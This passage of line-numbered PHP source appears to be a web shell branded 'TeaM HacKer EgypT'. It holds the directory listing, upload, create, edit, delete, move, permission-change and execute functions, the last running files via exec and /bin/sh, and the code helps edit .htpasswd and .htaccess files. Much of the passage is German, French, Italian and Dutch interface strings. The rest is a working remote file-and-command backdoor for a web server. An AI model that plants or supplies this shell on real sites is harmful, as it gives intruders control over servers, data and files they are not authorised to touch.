  1103. }
  1104.  
  1105. function simplify_path ($path) {
  1106. global $delim;
  1107.  
  1108. if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1109. $path = realpath($path);
  1110. if (@is_dir($path)) {
  1111. return addslash($path);
  1112. } else {
  1113. return $path;
  1114. }
  1115. }
  1116.  
  1117. $pattern = $delim . '.' . $delim;
  1118.  
  1119. if (@is_dir($path)) {
  1120. $path = addslash($path);
  1121. }
  1122.  
  1123. while (strpos($path, $pattern) !== false) {
  1124. $path = str_replace($pattern, $delim, $path);
  1125. }
  1126.  
  1127. $e = addslashes($delim);
  1128. $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1129.  
  1130. while (ereg($regex, $path)) {
  1131. $path = ereg_replace($regex, $delim, $path);
  1132. }
  1133.  
  1134. return $path;
  1135.  
  1136. }
  1137.  
  1138. function human_filesize ($filesize) {
  1139.  
  1140. $suffices = 'kMGTPE';
  1141.  
  1142. $n = 0;
  1143. while ($filesize >= 1000) {
  1144. $filesize /= 1024;
  1145. $n++;
  1146. }
  1147.  
  1148. $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1149.  
  1150. if (strpos($filesize, '.') !== false) {
  1151. while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1152. $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1153. }
  1154. }
  1155.  
  1156. $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1157.  
  1158. return $filesize . " {$suffix}B";
  1159.  
  1160. }
  1161.  
  1162. function strip (&$str) {
  1163. $str = stripslashes($str);
  1164. }
  1165.  
  1166. /* ------------------------------------------------------------------------- */
  1167.  
  1168. function listing_page ($message = null) {
  1169. global $self, $directory, $sort, $reverse;
  1170.  
  1171. html_header();
  1172.  
  1173. $list = getlist($directory);
  1174.  
  1175. if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1176. if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1177.  
  1178. sortlist($list, $sort, $reverse);
  1179.  
  1180. echo '<h1 style="margin-bottom: 0">TeaM HacKer EgypT</h1>
  1181.  
  1182. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1183.  
  1184. <table id="main">
  1185. ';
  1186.  
  1187. directory_choice();
  1188.  
  1189. if (!empty($message)) {
  1190. spacer();
  1191. echo $message;
  1192. }
  1193.  
  1194. if (@is_writable($directory)) {
  1195. upload_box();
  1196. create_box();
  1197. } else {
  1198. spacer();
  1199. }
  1200.  
  1201. if ($list) {
  1202. listing($list);
  1203. } else {
  1204. echo error('not_readable', $directory);
  1205. }
  1206.  
  1207. echo '</table>
  1208.  
  1209. </form>
  1210.  
  1211. ';
  1212.  
  1213. html_footer();
  1214.  
  1215. }
  1216.  
  1217. function listing ($list) {
  1218. global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1219.  
  1220. echo '<tr class="listing">
  1221. <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1222. ';
  1223.  
  1224. $d = 'dir=' . urlencode($directory) . '&amp;';
  1225.  
  1226. if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1227. echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\
  1228. ";
  1229.  
  1230. if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1231. echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\
  1232. ";
  1233.  
  1234. if (!$win) {
  1235.  
  1236. if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1237. echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\
  1238. ";
  1239.  
  1240. if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1241. echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\
  1242. ";
  1243.  
  1244. if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1245. echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\
  1246. ";
  1247.  
  1248. }
  1249.  
  1250. echo ' <th class="functions">' . word('functions') . '</th>
  1251. </tr>
  1252. ';
  1253.  
  1254. for ($i = 0; $i < sizeof($list); $i++) {
  1255. $file = $list[$i];
  1256.  
  1257. $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1258. $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1259. $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1260.  
  1261. echo '<tr class="listing">
  1262. <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1263. <td class="filename" title="' . html($timestamps) . '">';
  1264.  
  1265. if ($file['is_link']) {
  1266.  
  1267. echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1268. echo html($file['filename']) . ' &rarr; ';
  1269.  
  1270. $real_file = relative2absolute($file['target'], $directory);
  1271.  
  1272. if (@is_readable($real_file)) {
  1273. if (@is_dir($real_file)) {
  1274. echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1275. } else {
  1276. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1277. }
  1278. } else {
  1279. echo html($file['target']);
  1280. }
  1281.  
  1282. } elseif ($file['is_dir']) {
  1283.  
  1284. echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1285. if ($win || $file['is_executable']) {
  1286. echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1287. } else {
  1288. echo html($file['filename']);
  1289. }
  1290. echo ' ]';
  1291.  
  1292. } else {
  1293.  
  1294. if (substr($file['filename'], 0, 1) == '.') {
  1295. echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1296. } else {
  1297. echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1298. }
  1299.  
  1300. if ($file['is_file'] && $file['is_readable']) {
  1301. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1302. } else {
  1303. echo html($file['filename']);
  1304. }
  1305.  
  1306. }
  1307.  
  1308. if ($file['size'] >= 1000) {
  1309. $human = ' title="' . human_filesize($file['size']) . '"';
  1310. } else {
  1311. $human = '';
  1312. }
  1313.  
  1314. echo "\t<td class=\"size\"$human>{$file['size']} B</td>\
  1315. ";
  1316.  
  1317. if (!$win) {
  1318.  
  1319. echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1320.  
  1321. $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1322. if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1323. echo html(permission_octal2string($file['permission']));
  1324. if ($l) echo '</a>';
  1325.  
  1326. echo "</td>\
  1327. ";
  1328.  
  1329. if (array_key_exists('owner_name', $file)) {
  1330. echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\
  1331. ";
  1332. } else {
  1333. echo "\t<td class=\"owner\">{$file['owner']}</td>\
  1334. ";
  1335. }
  1336.  
  1337. if (array_key_exists('group_name', $file)) {
  1338. echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\
  1339. ";
  1340. } else {
  1341. echo "\t<td class=\"group\">{$file['group']}</td>\
  1342. ";
  1343. }
  1344.  
  1345. }
  1346.  
  1347. echo ' <td class="functions">
  1348. <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1349. ';
  1350.  
  1351. $actions = array();
  1352. if (function_exists('symlink')) {
  1353. $actions[] = 'create_symlink';
  1354. }
  1355. if (@is_writable(dirname($file['path']))) {
  1356. $actions[] = 'delete';
  1357. $actions[] = 'rename';
  1358. $actions[] = 'move';
  1359. }
  1360. if ($file['is_file'] && $file['is_readable']) {
  1361. $actions[] = 'copy';
  1362. $actions[] = 'download';
  1363. if ($file['is_writable']) $actions[] = 'edit';
  1364. }
  1365. if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1366. $actions[] = 'execute';
  1367. }
  1368.  
  1369. if (sizeof($actions) > 0) {
  1370.  
  1371. echo ' <select class="small" name="action' . $i . '" size="1">
  1372. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1373. ';
  1374.  
  1375. foreach ($actions as $action) {
  1376. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\
  1377. ";
  1378. }
  1379.  
  1380. echo ' </select>
  1381. <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1382. ';
  1383.  
  1384. }
  1385.  
  1386. echo ' </td>
  1387. </tr>
  1388. ';
  1389.  
  1390. }
  1391.  
  1392. echo '<tr class="listing_footer">
  1393. <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1394. <td colspan="' . ($cols - 1) . '">
  1395. <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1396. <input type="hidden" name="focus" value="" />
  1397. <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1398. ';
  1399.  
  1400. $actions = array();
  1401. if (@is_writable(dirname($file['path']))) {
  1402. $actions[] = 'delete';
  1403. $actions[] = 'move';
  1404. }
  1405. $actions[] = 'copy';
  1406.  
  1407. echo ' <select class="small" name="action_all" size="1">
  1408. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1409. ';
  1410.  
  1411. foreach ($actions as $action) {
  1412. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\
  1413. ";
  1414. }
  1415.  
  1416. echo ' </select>
  1417. <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1418. </td>
  1419. </tr>
  1420. ';
  1421.  
  1422. }
  1423.  
  1424. function directory_choice () {
  1425. global $directory, $homedir, $cols, $self;
  1426.  
  1427. echo '<tr>
  1428. <td colspan="' . $cols . '" id="directory">
  1429. <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1430. <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1431. <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1432. </td>
  1433. </tr>
  1434. ';
  1435.  
  1436. }
  1437.  
  1438. function upload_box () {
  1439. global $cols;
  1440.  
  1441. echo '<tr>
  1442. <td colspan="' . $cols . '" id="upload">
  1443. ' . word('file') . ':
  1444. <input type="file" name="upload" onfocus="activate(\'other\')" />
  1445. <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1446. </td>
  1447. </tr>
  1448. ';
  1449.  
  1450. }
  1451.  
  1452. function create_box () {
  1453. global $cols;
  1454.  
  1455. echo '<tr>
  1456. <td colspan="' . $cols . '" id="create">
  1457. <select name="create_type" size="1" onfocus="activate(\'create\')">
  1458. <option value="file">' . word('file') . '</option>
  1459. <option value="directory">' . word('directory') . '</option>
  1460. </select>
  1461. <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1462. <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1463. </td>
  1464. </tr>
  1465. ';
  1466.  
  1467. }
  1468.  
  1469. function edit ($file) {
  1470. global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1471.  
  1472. html_header();
  1473.  
  1474. echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1475.  
  1476. <form action="' . $self . '" method="post">
  1477.  
  1478. <table class="dialog">
  1479. <tr>
  1480. <td class="dialog">
  1481.  
  1482. <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1483.  
  1484. if (array_key_exists('content', $_POST)) {
  1485. echo $_POST['content'];
  1486. } else {
  1487. $f = fopen($file, 'r');
  1488. while (!feof($f)) {
  1489. echo html(fread($f, 8192));
  1490. }
  1491. fclose($f);
  1492. }
  1493.  
  1494. if (!empty($_POST['user'])) {
  1495. echo "\
  1496. " . $_POST['user'] . ':' . crypt($_POST['password']);
  1497. }
  1498. if (!empty($_POST['basic_auth'])) {
  1499. if ($win) {
  1500. $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1501. } else {
  1502. $authfile = $directory . $htpasswd;
  1503. }
  1504. echo "\
  1505. AuthType Basic\
  1506. AuthName &quot;Restricted Directory&quot;\
  1507. ";
  1508. echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\
  1509. ";
  1510. echo 'Require valid-user';
  1511. }
  1512.  
  1513. echo '</textarea>
  1514.  
  1515. <hr />
  1516. ';
  1517.  
  1518. if ($apache && basename($file) == $htpasswd) {
  1519. echo '
  1520. ' . word('user') . ': <input type="text" name="user" />
  1521. ' . word('password') . ': <input type="password" name="password" />
  1522. <input type="submit" value="' . word('add') . '" />
  1523.  
  1524. <hr />
  1525. ';
  1526.  
  1527. }
  1528.  
  1529. if ($apache && basename($file) == $htaccess) {
  1530. echo '
  1531. <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1532.  
  1533. <hr />
  1534. ';
  1535.  
  1536. }
  1537.  
  1538. echo '
  1539. <input type="hidden" name="action" value="edit" />
  1540. <input type="hidden" name="file" value="' . html($file) . '" />
  1541. <input type="hidden" name="dir" value="' . html($directory) . '" />
  1542. <input type="reset" value="' . word('reset') . '" id="red_button" />
  1543. <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1544.  
  1545. </td>
  1546. </tr>
  1547. </table>
  1548.  
  1549. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1550.  
  1551. </form>
  1552.  
  1553. ';
  1554.  
  1555. html_footer();
  1556.  
  1557. }
  1558.  
  1559. function spacer () {
  1560. global $cols;
  1561.  
  1562. echo '<tr>
  1563. <td colspan="' . $cols . '" style="height: 1em"></td>
  1564. </tr>
  1565. ';
  1566.  
  1567. }
  1568.  
  1569. function textfieldsize ($content) {
  1570.  
  1571. $size = strlen($content) + 5;
  1572. if ($size < 30) $size = 30;
  1573.  
  1574. return $size;
  1575.  
  1576. }
  1577.  
  1578. function request_dump () {
  1579.  
  1580. foreach ($_REQUEST as $key => $value) {
  1581. echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\
  1582. ";
  1583. }
  1584.  
  1585. }
  1586.  
  1587. /* ------------------------------------------------------------------------- */
  1588.  
  1589. function html ($string) {
  1590. global $site_charset;
  1591. return htmlentities($string, ENT_COMPAT, $site_charset);
  1592. }
  1593.  
  1594. function word ($word) {
  1595. global $words, $word_charset;
  1596. return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1597. }
  1598.  
  1599. function phrase ($phrase, $arguments) {
  1600. global $words;
  1601. static $search;
  1602.  
  1603. if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1604.  
  1605. for ($i = 0; $i < sizeof($arguments); $i++) {
  1606. $arguments[$i] = nl2br(html($arguments[$i]));
  1607. }
  1608.  
  1609. $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1610.  
  1611. return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1612.  
  1613. }
  1614.  
  1615. function getwords ($lang) {
  1616. global $word_charset, $date_format;
  1617.  
  1618. switch ($lang) {
  1619. case 'de':
  1620.  
  1621. $date_format = 'd.m.y H:i:s';
  1622. $word_charset = 'ISO-8859-1';
  1623.  
  1624. return array(
  1625. 'directory' => 'Verzeichnis',
  1626. 'file' => 'Datei',
  1627. 'filename' => 'Dateiname',
  1628.  
  1629. 'size' => 'Gr??e',
  1630. 'permission' => 'Rechte',
  1631. 'owner' => 'Eigner',
  1632. 'group' => 'Gruppe',
  1633. 'other' => 'Andere',
  1634. 'functions' => 'Funktionen',
  1635.  
  1636. 'read' => 'lesen',
  1637. 'write' => 'schreiben',
  1638. 'execute' => 'ausführen',
  1639.  
  1640. 'create_symlink' => 'Symlink erstellen',
  1641. 'delete' => 'l?schen',
  1642. 'rename' => 'umbenennen',
  1643. 'move' => 'verschieben',
  1644. 'copy' => 'kopieren',
  1645. 'edit' => 'editieren',
  1646. 'download' => 'herunterladen',
  1647. 'upload' => 'hochladen',
  1648. 'create' => 'erstellen',
  1649. 'change' => 'wechseln',
  1650. 'save' => 'speichern',
  1651. 'set' => 'setze',
  1652. 'reset' => 'zurücksetzen',
  1653. 'relative' => 'Pfad zum Ziel relativ',
  1654.  
  1655. 'yes' => 'Ja',
  1656. 'no' => 'Nein',
  1657. 'back' => 'zurück',
  1658. 'destination' => 'Ziel',
  1659. 'symlink' => 'Symbolischer Link',
  1660. 'no_output' => 'keine Ausgabe',
  1661.  
  1662. 'user' => 'Benutzername',
  1663. 'password' => 'Kennwort',
  1664. 'add' => 'hinzufügen',
  1665. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1666.  
  1667. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1668. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1669. 'already_exists' => '"[%1]" existiert bereits.',
  1670. 'created' => '"[%1]" wurde erstellt.',
  1671. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1672. 'really_delete' => 'Sollen folgende Dateien wirklich gel?scht werden?',
  1673. 'deleted' => "Folgende Dateien wurden gel?scht:\
  1674. [%1]",
  1675. 'not_deleted' => "Folgende Dateien konnten nicht gel?scht werden:\
  1676. [%1]",
  1677. 'rename_file' => 'Benenne Datei um:',
  1678. 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
  1679. 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1680. 'move_files' => 'Verschieben folgende Dateien:',
  1681. 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\
  1682. [%1]",
  1683. 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\
  1684. [%1]",
  1685. 'copy_files' => 'Kopiere folgende Dateien:',
  1686. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\
  1687. [%1]",
  1688. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\
  1689. [%1]",
  1690. 'not_edited' => '"[%1]" kann nicht editiert werden.',
  1691. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\
  1692. {%2}",
  1693. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\
  1694. {%2}",
  1695. 'saved' => '"[%1]" wurde gespeichert.',
  1696. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1697. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1698. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1699. 'permission_for' => 'Rechte für "[%1]":',
  1700. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1701. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1702. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1703. );
  1704.  
  1705. case 'fr':
  1706.  
  1707. $date_format = 'd.m.y H:i:s';
  1708. $word_charset = 'ISO-8859-1';
  1709.  
  1710. return array(
  1711. 'directory' => 'Répertoire',
  1712. 'file' => 'Fichier',
  1713. 'filename' => 'Nom fichier',
  1714.  
  1715. 'size' => 'Taille',
  1716. 'permission' => 'Droits',
  1717. 'owner' => 'Propriétaire',
  1718. 'group' => 'Groupe',
  1719. 'other' => 'Autres',
  1720. 'functions' => 'Fonctions',
  1721.  
  1722. 'read' => 'Lire',
  1723. 'write' => 'Ecrire',
  1724. 'execute' => 'Exécuter',
  1725.  
  1726. 'create_symlink' => 'Créer lien symbolique',
  1727. 'delete' => 'Effacer',
  1728. 'rename' => 'Renommer',
  1729. 'move' => 'Déplacer',
  1730. 'copy' => 'Copier',
  1731. 'edit' => 'Ouvrir',
  1732. 'download' => 'Télécharger sur PC',
  1733. 'upload' => 'Télécharger sur serveur',
  1734. 'create' => 'Créer',
  1735. 'change' => 'Changer',
  1736. 'save' => 'Sauvegarder',
  1737. 'set' => 'Exécuter',
  1738. 'reset' => 'Réinitialiser',
  1739. 'relative' => 'Relatif',
  1740.  
  1741. 'yes' => 'Oui',
  1742. 'no' => 'Non',
  1743. 'back' => 'Retour',
  1744. 'destination' => 'Destination',
  1745. 'symlink' => 'Lien symbollique',
  1746. 'no_output' => 'Pas de sortie',
  1747.  
  1748. 'user' => 'Utilisateur',
  1749. 'password' => 'Mot de passe',
  1750. 'add' => 'Ajouter',
  1751. 'add_basic_auth' => 'add basic-authentification',
  1752.  
  1753. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1754. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1755. 'already_exists' => '"[%1]" existe déj? .',
  1756. 'created' => '"[%1]" a été créé.',
  1757. 'not_created' => '"[%1]" n a pas pu être créé.',
  1758. 'really_delete' => 'Effacer le fichier?',
  1759. 'deleted' => "Ces fichiers ont été détuits:\
  1760. [%1]",
  1761. 'not_deleted' => "Ces fichiers n ont pu être détruits:\
  1762. [%1]",
  1763. 'rename_file' => 'Renomme fichier:',
  1764. 'renamed' => '"[%1]" a été renommé en "[%2]".',
  1765. 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
  1766. 'move_files' => 'Déplacer ces fichiers:',
  1767. 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\
  1768. [%1]",
  1769. 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\
  1770. [%1]",
  1771. 'copy_files' => 'Copier ces fichiers:',
  1772. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\
  1773. [%1]",
  1774. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\
  1775. [%1]",
  1776. 'not_edited' => '"[%1]" ne peut être ouvert.',
  1777. 'executed' => "\"[%1]\" a été brillamment exécuté :\
  1778. {%2}",
  1779. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\
  1780. {%2}",
  1781. 'saved' => '"[%1]" a été sauvegardé.',
  1782. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1783. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1784. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1785. 'permission_for' => 'Droits de "[%1]":',
  1786. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1787. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1788. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1789. );
  1790.  
  1791. case 'it':
  1792.  
  1793. $date_format = 'd-m-Y H:i:s';
  1794. $word_charset = 'ISO-8859-1';
  1795.  
  1796. return array(
  1797. 'directory' => 'Directory',
  1798. 'file' => 'File',
  1799. 'filename' => 'Nome File',
  1800.  
  1801. 'size' => 'Dimensioni',
  1802. 'permission' => 'Permessi',
  1803. 'owner' => 'Proprietario',
  1804. 'group' => 'Gruppo',
  1805. 'other' => 'Altro',
  1806. 'functions' => 'Funzioni',
  1807.  
  1808. 'read' => 'leggi',
  1809. 'write' => 'scrivi',
  1810. 'execute' => 'esegui',
  1811.  
  1812. 'create_symlink' => 'crea link simbolico',
  1813. 'delete' => 'cancella',
  1814. 'rename' => 'rinomina',
  1815. 'move' => 'sposta',
  1816. 'copy' => 'copia',
  1817. 'edit' => 'modifica',
  1818. 'download' => 'download',
  1819. 'upload' => 'upload',
  1820. 'create' => 'crea',
  1821. 'change' => 'cambia',
  1822. 'save' => 'salva',
  1823. 'set' => 'imposta',
  1824. 'reset' => 'reimposta',
  1825. 'relative' => 'Percorso relativo per la destinazione',
  1826.  
  1827. 'yes' => 'Si',
  1828. 'no' => 'No',
  1829. 'back' => 'indietro',
  1830. 'destination' => 'Destinazione',
  1831. 'symlink' => 'Link simbolico',
  1832. 'no_output' => 'no output',
  1833.  
  1834. 'user' => 'User',
  1835. 'password' => 'Password',
  1836. 'add' => 'aggiungi',
  1837. 'add_basic_auth' => 'aggiungi autenticazione base',
  1838.  
  1839. 'uploaded' => '"[%1]" è stato caricato.',
  1840. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1841. 'already_exists' => '"[%1]" esiste gi? .',
  1842. 'created' => '"[%1]" è stato creato.',
  1843. 'not_created' => '"[%1]" non è stato creato.',
  1844. 'really_delete' => 'Cancello questi file ?',
  1845. 'deleted' => "Questi file sono stati cancellati:\
  1846. [%1]",
  1847. 'not_deleted' => "Questi file non possono essere cancellati:\
  1848. [%1]",
  1849. 'rename_file' => 'File rinominato:',
  1850. 'renamed' => '"[%1]" è stato rinominato in "[%2]".',
  1851. 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
  1852. 'move_files' => 'Sposto questi file:',
  1853. 'moved' => "Questi file sono stati spostati in \"[%2]\":\
  1854. [%1]",
  1855. 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\
  1856. [%1]",
  1857. 'copy_files' => 'Copio questi file',
  1858. 'copied' => "Questi file sono stati copiati in \"[%2]\":\
  1859. [%1]",
  1860. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\
  1861. [%1]",
  1862. 'not_edited' => '"[%1]" non pu? essere modificato.',
  1863. 'executed' => "\"[%1]\" è stato eseguito con successo:\
  1864. {%2}",
  1865. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\
  1866. {%2}",
  1867. 'saved' => '"[%1]" è stato salvato.',
  1868. 'not_saved' => '"[%1]" non è stato salvato.',
  1869. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1870. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1871. 'permission_for' => 'Permessi di "[%1]":',
  1872. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1873. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1874. 'not_readable' => '"[%1]" non pu? essere letto.'
  1875. );
  1876.  
  1877. case 'nl':
  1878.  
  1879. $date_format = 'n/j/y H:i:s';
  1880. $word_charset = 'ISO-8859-1';
  1881.  
  1882. return array(
  1883. 'directory' => 'Directory',
  1884. 'file' => 'Bestand',
  1885. 'filename' => 'Bestandsnaam',
  1886.  
  1887. 'size' => 'Grootte',
  1888. 'permission' => 'Bevoegdheid',
  1889. 'owner' => 'Eigenaar',
  1890. 'group' => 'Groep',
  1891. 'other' => 'Anderen',
  1892. 'functions' => 'Functies',
  1893.  
  1894. 'read' => 'lezen',
  1895. 'write' => 'schrijven',
  1896. 'execute' => 'uitvoeren',
  1897.  
  1898. 'create_symlink' => 'maak symlink',
  1899. 'delete' => 'verwijderen',
  1900. 'rename' => 'hernoemen',
  1901. 'move' => 'verplaatsen',
  1902. 'copy' => 'kopieren',
  1903. 'edit' => 'bewerken',
  1904. 'download' => 'downloaden',
  1905. 'upload' => 'uploaden',
  1906. 'create' => 'aanmaken',
  1907. 'change' => 'veranderen',
  1908. 'save' => 'opslaan',
  1909. 'set' => 'instellen',
  1910. 'reset' => 'resetten',
  1911. 'relative' => 'Relatief pat naar doel',
  1912.  
  1913. 'yes' => 'Ja',
  1914. 'no' => 'Nee',
  1915. 'back' => 'terug',
  1916. 'destination' => 'Bestemming',
  1917. 'symlink' => 'Symlink',
  1918. 'no_output' => 'geen output',
  1919.  
  1920. 'user' => 'Gebruiker',
  1921. 'password' => 'Wachtwoord',
  1922. 'add' => 'toevoegen',
  1923. 'add_basic_auth' => 'add basic-authentification',
  1924.  
  1925. 'uploaded' => '"[%1]" is verstuurd.',
  1926. 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
  1927. 'already_exists' => '"[%1]" bestaat al.',
  1928. 'created' => '"[%1]" is aangemaakt.',
  1929. 'not_created' => '"[%1]" kan niet worden aangemaakt.',
  1930. 'really_delete' => 'Deze bestanden verwijderen?',
  1931. 'deleted' => "Deze bestanden zijn verwijderd:\
  1932. [%1]",
  1933. 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\
  1934. [%1]",
  1935. 'rename_file' => 'Bestandsnaam veranderen:',
  1936. 'renamed' => '"[%1]" heet nu "[%2]".',
  1937. 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
  1938. 'move_files' => 'Verplaats deze bestanden:',
  1939. 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\
  1940. [%1]",
  1941. 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\
  1942. [%1]",
  1943. 'copy_files' => 'Kopieer deze bestanden:',
  1944. 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\
  1945. [%1]",
  1946. 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\
  1947. [%1]",
  1948. 'not_edited' => '"[%1]" kan niet worden bewerkt.',
  1949. 'executed' => "\"[%1]\" is met succes uitgevoerd:\
  1950. {%2}",
  1951. 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\
  1952. {%2}",
